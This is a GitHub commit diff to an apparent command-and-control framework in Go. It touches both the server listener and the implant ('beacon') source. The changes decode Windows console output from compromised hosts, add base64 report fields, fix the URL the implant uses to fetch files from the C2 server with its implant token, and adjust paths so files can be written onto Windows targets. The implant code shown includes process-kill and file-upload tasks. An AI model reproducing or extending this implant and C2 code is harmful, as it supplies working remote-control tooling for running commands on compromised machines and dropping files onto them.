Add files via upload

This commit is contained in:
公明
2026-06-10 14:20:24 +08:00
committed by GitHub
parent cd48a43b7e
commit fb3087b760
7 changed files with 263 additions and 25 deletions
+48
View File
@@ -0,0 +1,48 @@
package c2
import (
"encoding/base64"
"strings"
"unicode/utf8"
"golang.org/x/text/encoding/simplifiedchinese"
"golang.org/x/text/transform"
)
// NormalizeConsoleOutput 将 implant/Shell 原始控制台字节转为 UTF-8 文本。
// osTag 来自会话的 os 字段(如 windows / Windows 10);空值时按 auto 处理。
func NormalizeConsoleOutput(raw []byte, osTag string) string {
if len(raw) == 0 {
return ""
}
osTag = strings.ToLower(strings.TrimSpace(osTag))
isWindows := strings.Contains(osTag, "windows")
if utf8.Valid(raw) {
return string(raw)
}
if isWindows {
if out, _, err := transform.Bytes(simplifiedchinese.GB18030.NewDecoder(), raw); err == nil {
return string(out)
}
}
// 非 Windows 或解码失败:GB18030 兜底(覆盖 GBK
if out, _, err := transform.Bytes(simplifiedchinese.GB18030.NewDecoder(), raw); err == nil {
return string(out)
}
return string(raw)
}
// ResolveTaskResultText 合并 beacon 回传的 Output/OutputB64(及 Error/ErrorB64),按会话 OS 解码。
func ResolveTaskResultText(plain, b64, sessionOS string) string {
if strings.TrimSpace(b64) != "" {
raw, err := base64.StdEncoding.DecodeString(strings.TrimSpace(b64))
if err == nil {
return NormalizeConsoleOutput(raw, sessionOS)
}
}
if plain == "" {
return ""
}
return NormalizeConsoleOutput([]byte(plain), sessionOS)
}
+51
View File
@@ -0,0 +1,51 @@
package c2
import (
"encoding/base64"
"testing"
"golang.org/x/text/encoding/simplifiedchinese"
"golang.org/x/text/transform"
)
func mustGBK(t *testing.T, s string) []byte {
t.Helper()
out, _, err := transform.Bytes(simplifiedchinese.GBK.NewEncoder(), []byte(s))
if err != nil {
t.Fatal(err)
}
return out
}
func TestNormalizeConsoleOutput_WindowsGBK(t *testing.T) {
raw := mustGBK(t, "中文测试")
got := NormalizeConsoleOutput(raw, "windows")
if got != "中文测试" {
t.Fatalf("got %q want 中文测试", got)
}
}
func TestNormalizeConsoleOutput_UTF8Passthrough(t *testing.T) {
raw := []byte("hello 世界")
got := NormalizeConsoleOutput(raw, "linux")
if got != "hello 世界" {
t.Fatalf("got %q", got)
}
}
func TestResolveTaskResultText_PrefersB64(t *testing.T) {
raw := mustGBK(t, "采购订单")
b64 := base64.StdEncoding.EncodeToString(raw)
got := ResolveTaskResultText("", b64, "windows")
if got != "采购订单" {
t.Fatalf("got %q", got)
}
}
func TestResolveTaskResultText_PlainFallback(t *testing.T) {
raw := mustGBK(t, "测试")
got := ResolveTaskResultText(string(raw), "", "windows")
if got != "测试" {
t.Fatalf("got %q", got)
}
}
+1
View File
@@ -367,6 +367,7 @@ func (l *HTTPBeaconListener) handleFileServe(w http.ResponseWriter, r *http.Requ
}
prefix := l.cfg.BeaconFilePath
taskID := strings.TrimPrefix(r.URL.Path, prefix)
taskID = strings.TrimSuffix(taskID, ".bin")
if taskID == "" || strings.Contains(taskID, "/") || strings.Contains(taskID, "\\") || strings.Contains(taskID, "..") {
l.disguisedReject(w)
return
+100
View File
@@ -2,10 +2,12 @@ package c2
import (
"bytes"
"encoding/base64"
"encoding/json"
"io"
"net"
"net/http"
"os"
"path/filepath"
"strconv"
"strings"
@@ -127,3 +129,101 @@ func TestHTTPBeaconListener_CheckInMatrix(t *testing.T) {
}
})
}
func TestHTTPBeaconListener_HandleFileServe(t *testing.T) {
tmp := t.TempDir()
dbPath := filepath.Join(tmp, "c2.sqlite")
db, err := database.NewDB(dbPath, zap.NewNop())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = db.Close() })
lnPick, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
t.Fatal(err)
}
port := lnPick.Addr().(*net.TCPAddr).Port
_ = lnPick.Close()
keyB64, err := GenerateAESKey()
if err != nil {
t.Fatal(err)
}
token := "test-implant-token-file"
lid := "l_testhttpfile01"
rec := &database.C2Listener{
ID: lid,
Name: "t",
Type: string(ListenerTypeHTTPBeacon),
BindHost: "127.0.0.1",
BindPort: port,
EncryptionKey: keyB64,
ImplantToken: token,
Status: "stopped",
ConfigJSON: `{"beacon_file_path":"/file/"}`,
CreatedAt: time.Now(),
}
if err := db.CreateC2Listener(rec); err != nil {
t.Fatal(err)
}
store := filepath.Join(tmp, "c2store")
m := NewManager(db, zap.NewNop(), store)
m.Registry().Register(string(ListenerTypeHTTPBeacon), NewHTTPBeaconListener)
if _, err := m.StartListener(lid); err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = m.StopListener(lid) })
fileID := "f_testfile123"
downDir := filepath.Join(store, "downstream")
if err := os.MkdirAll(downDir, 0o755); err != nil {
t.Fatal(err)
}
want := []byte("upload-payload-bytes")
if err := os.WriteFile(filepath.Join(downDir, fileID+".bin"), want, 0o644); err != nil {
t.Fatal(err)
}
base := "http://127.0.0.1:" + strconv.Itoa(port)
client := &http.Client{Timeout: 5 * time.Second}
for _, path := range []string{"/file/" + fileID, "/file/" + fileID + ".bin"} {
t.Run(path, func(t *testing.T) {
req, _ := http.NewRequest(http.MethodGet, base+path, nil)
req.Header.Set("X-Implant-Token", token)
resp, err := client.Do(req)
if err != nil {
t.Fatal(err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
b, _ := io.ReadAll(resp.Body)
t.Fatalf("status=%d body=%q", resp.StatusCode, b)
}
raw, err := io.ReadAll(resp.Body)
if err != nil {
t.Fatal(err)
}
plain, err := DecryptAESGCM(keyB64, string(raw))
if err != nil {
t.Fatal(err)
}
var out struct {
FileData string `json:"file_data"`
}
if err := json.Unmarshal(plain, &out); err != nil {
t.Fatal(err)
}
got, err := base64.StdEncoding.DecodeString(out.FileData)
if err != nil {
t.Fatal(err)
}
if !bytes.Equal(got, want) {
t.Fatalf("got %q want %q", got, want)
}
})
}
}
+12 -4
View File
@@ -638,10 +638,18 @@ func (m *Manager) IngestTaskResult(report TaskResultReport) error {
status = string(TaskFailed)
}
duration := endedAt.Sub(startedAt).Milliseconds()
sessionOS := ""
if sess, serr := m.db.GetC2Session(t.SessionID); serr == nil && sess != nil {
sessionOS = sess.OS
}
resultText := ResolveTaskResultText(report.Output, report.OutputB64, sessionOS)
errText := ResolveTaskResultText(report.Error, report.ErrorB64, sessionOS)
upd := database.C2TaskUpdate{
Status: &status,
ResultText: &report.Output,
Error: &report.Error,
ResultText: &resultText,
Error: &errText,
StartedAt: &startedAt,
CompletedAt: &endedAt,
DurationMS: &duration,
@@ -661,8 +669,8 @@ func (m *Manager) IngestTaskResult(report TaskResultReport) error {
return err
}
t.Status = status
t.ResultText = report.Output
t.Error = report.Error
t.ResultText = resultText
t.Error = errText
level := "info"
msg := fmt.Sprintf("任务完成: %s", t.TaskType)
+49 -21
View File
@@ -45,6 +45,7 @@ import (
"strings"
"sync"
"time"
"unicode/utf8"
)
// 编译期注入常量(text/template 替换)
@@ -101,7 +102,9 @@ type TaskReport struct {
TaskID string `json:"task_id"`
Success bool `json:"success"`
Output string `json:"output,omitempty"`
OutputB64 string `json:"output_b64,omitempty"`
Error string `json:"error,omitempty"`
ErrorB64 string `json:"error_b64,omitempty"`
BlobBase64 string `json:"blob_b64,omitempty"`
BlobSuffix string `json:"blob_suffix,omitempty"`
StartedAt int64 `json:"started_at"`
@@ -326,16 +329,7 @@ func handleTaskSyncTCP(conn net.Conn, env TaskEnv) {
defer func() { tcpTaskConn = nil }()
start := time.Now()
output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload)
report := TaskReport{
TaskID: env.TaskID,
Success: errMsg == "",
Output: output,
Error: errMsg,
BlobBase64: blobB64,
BlobSuffix: blobSuffix,
StartedAt: start.UnixMilli(),
EndedAt: time.Now().UnixMilli(),
}
report := buildTaskReport(env.TaskID, output, errMsg, blobB64, blobSuffix, start, time.Now())
tcpReportResult(conn, report)
}
@@ -367,7 +361,8 @@ func fetchC2FileByID(fileID string) ([]byte, error) {
if tcpTaskConn != nil {
return tcpFetchEncryptedFile(tcpTaskConn, fileID)
}
url := fmt.Sprintf("%s%s%s.bin", serverURL, filePath, fileID)
// 服务端 handleFileServe 会在 downstream/<file_id>.bin 读取;URL 路径应为 /file/<file_id>,勿重复 .bin
url := fmt.Sprintf("%s%s%s", serverURL, filePath, fileID)
req, _ := http.NewRequest("GET", url, nil)
req.Header.Set("User-Agent", userAgent)
req.Header.Set("X-Implant-Token", implantToken)
@@ -635,20 +630,39 @@ func decryptGCM(cipherText string) ([]byte, error) {
return gcm.Open(nil, nonce, ct, nil)
}
func encodeReportText(s string) (plain, b64 string) {
if s == "" {
return "", ""
}
b := []byte(s)
if utf8.Valid(b) {
return s, ""
}
return "", base64.StdEncoding.EncodeToString(b)
}
func buildTaskReport(taskID, output, errMsg, blobB64, blobSuffix string, start, end time.Time) TaskReport {
outText, outB64 := encodeReportText(output)
errText, errB64 := encodeReportText(errMsg)
return TaskReport{
TaskID: taskID,
Success: errMsg == "",
Output: outText,
OutputB64: outB64,
Error: errText,
ErrorB64: errB64,
BlobBase64: blobB64,
BlobSuffix: blobSuffix,
StartedAt: start.UnixMilli(),
EndedAt: end.UnixMilli(),
}
}
func handleTaskAsync(env TaskEnv) {
defer func() { _ = recover() }()
start := time.Now()
output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload)
report := TaskReport{
TaskID: env.TaskID,
Success: errMsg == "",
Output: output,
Error: errMsg,
BlobBase64: blobB64,
BlobSuffix: blobSuffix,
StartedAt: start.UnixMilli(),
EndedAt: time.Now().UnixMilli(),
}
report := buildTaskReport(env.TaskID, output, errMsg, blobB64, blobSuffix, start, time.Now())
reportResult(report)
}
@@ -890,12 +904,26 @@ func taskKillProc(payload map[string]interface{}) (string, string, string, strin
return "killed", "", "", ""
}
func normalizeRemotePath(p string) string {
p = strings.TrimSpace(p)
if p == "" || runtime.GOOS != "windows" {
return p
}
// 控制台可能下发 /d:/path/fileUnix 风格),Windows 需转为 d:\path\file
p = strings.ReplaceAll(p, "\\", "/")
if len(p) >= 3 && p[0] == '/' && p[2] == ':' {
p = p[1:]
}
return filepath.FromSlash(p)
}
func taskUpload(payload map[string]interface{}) (string, string, string, string) {
remotePath, _ := payload["remote_path"].(string)
fileID, _ := payload["file_id"].(string)
if remotePath == "" || fileID == "" {
return "", "", "", "remote_path or file_id empty"
}
remotePath = normalizeRemotePath(remotePath)
data, err := fetchC2FileByID(fileID)
if err != nil {
return "", "", "", err.Error()
+2
View File
@@ -209,7 +209,9 @@ type TaskResultReport struct {
TaskID string `json:"task_id"`
Success bool `json:"success"`
Output string `json:"output,omitempty"`
OutputB64 string `json:"output_b64,omitempty"` // 原始控制台字节(base64),避免 JSON 破坏非 UTF-8 输出
Error string `json:"error,omitempty"`
ErrorB64 string `json:"error_b64,omitempty"`
BlobBase64 string `json:"blob_b64,omitempty"` // 如截图二进制
BlobSuffix string `json:"blob_suffix,omitempty"` // 如 ".png"
StartedAt int64 `json:"started_at"`